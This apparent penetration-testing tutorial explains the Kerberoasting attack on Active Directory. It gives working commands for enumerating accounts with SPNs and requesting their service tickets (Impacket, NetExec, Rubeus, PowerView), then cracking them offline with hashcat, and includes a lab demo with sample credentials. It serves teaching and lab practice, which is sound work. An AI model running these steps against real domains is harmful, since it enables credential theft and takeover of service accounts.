Intro
Quick Recap
In order to understand how Kerberoasting works, we first need to do a quick recap over the Kerberos authentication flow. We know that in order to get tickets for a user we can do an AS-REP request to the KDC passing our authentication details and it will return us a ticket for the principal we authenticated as:
We also already went through the unauthenticated ASREPRoasting attack, which happens when the user we get the TGT to does not require pre-authentication, so we just specified his username in the AS-REP and as the session key in the AS-REQ is encrypted with the user hash, we could try to crack it.
Kerberoasting however, as an authenticated attack, does not target the AS-REP anymore. As we now can successfully request a TGT with the credentials we have, this attack passes this first part of the Kerberos flow and goes ahead to target the TGS-REP!
Kerberoasting
Kerberoasting targets service accounts, which are used by applications to authenticate and access resources on the network. These accounts have Service Principal Names (SPNs) set for them, which map the service they are used for to the account the service is running as.
When a user requests a service ticket (TGS) for a service account, the ticket is encrypted with the NTLM hash of the service account’s password. Kerberoasting exploits this by requesting service tickets for various service accounts and then attempting to crack the encrypted portion offline, potentially revealing the service account’s password.
As you can see, this is very similar to the ASREPRoasting attack. Before we passed only a username when requesting a TGT and the response contained data encrypted with the target user’s hash, which allowed us to perform offline bruteforcing. In this case, after we do the TGT part of the flow, we ALSO pass a target “username” (a service account in this case), but also providing the data we received before. And yet again the KDC will return a portion of data (the TGS in this case) encrypted with the target account’s hash.
Something to observe here is that Kerberoasting will almost always be possible when the domain has service accounts enabled… The “vulnerability” here is originated when we are able to crack that hash, as this means that an insecure passwords was set for the targeted service account.
Exploitation - Linux
As an optional recon step, you may first do LDAP queries to identify accounts susceptible to Kerberoasting (accounts with an SPN set):
ldapsearch -H ldap://<DC_IP>:<LDAP_PORT> -x -b 'DC=<DOMAIN_FIRST>,DC=<DOMAIN_SECOND>' "(&(objectClass=user)(servicePrincipalName=*)(!(cn=krbtgt))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"
Even so, when you go through the exploitation and request the TGSs, the tools usually already do that check and grab the tickets for all of them automatically.
You can do this with Impacket:
impacket-GetUserSPNs -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD> -outputfile <OUT_FILE>
Or with Netexec:
nxc ldap <DC_IP> -u <USER> -p <PASSWD> -d <DOMAIN> --kerberoasting KERBEROASTING
After that, you can just go ahead and try cracking the hash with hashcat or john:
hashcat -m 13100 <HASH_FILE> <WORDLIST> -O
Demo on GOAD Lab
impacket-GetUserSPNs -dc-ip 192.168.56.11 north.sevenkingdoms.local/brandon.stark:iseedeadpeople -outputfile kerberoasting.hashes
.\hashcat.exe -m 13100 ./hashes/hashes.txt ./wordlists/rockyou.txt -O
Exploitation - Windows
Rubeus
If you just want to do a recon over the accounts with SPN set:
.\Rubeus.exe kerberoast /stats
The default exploitation command, however, already does the check and requests the TGS for all of them automatically:
# Auto exploitation for all accounts with SPN:
.\Rubeus.exe kerberoast /nowrap
# Optionally, you can filter the accounts to target only administrative ones:
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap
Demo on GOAD Lab
.\Rubeus.exe kerberoast /nowrap
PowerView
As an alternative, we can also use PowerView to enumerate accounts with an SPN set:
Import-Module .\PowerView.ps1
Get-DomainUser * -spn | select samaccountname
Then, target a specific user and retrieve the TGS ticket in Hashcat format:
Get-DomainUser -Identity <TARGET_ACCOUNT> | Get-DomainSPNTicket -Format Hashcat
You can also do that for all susceptible accounts, exporting all tickets to a CSV File:
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\<OUT_FILE>.csv -NoTypeInformation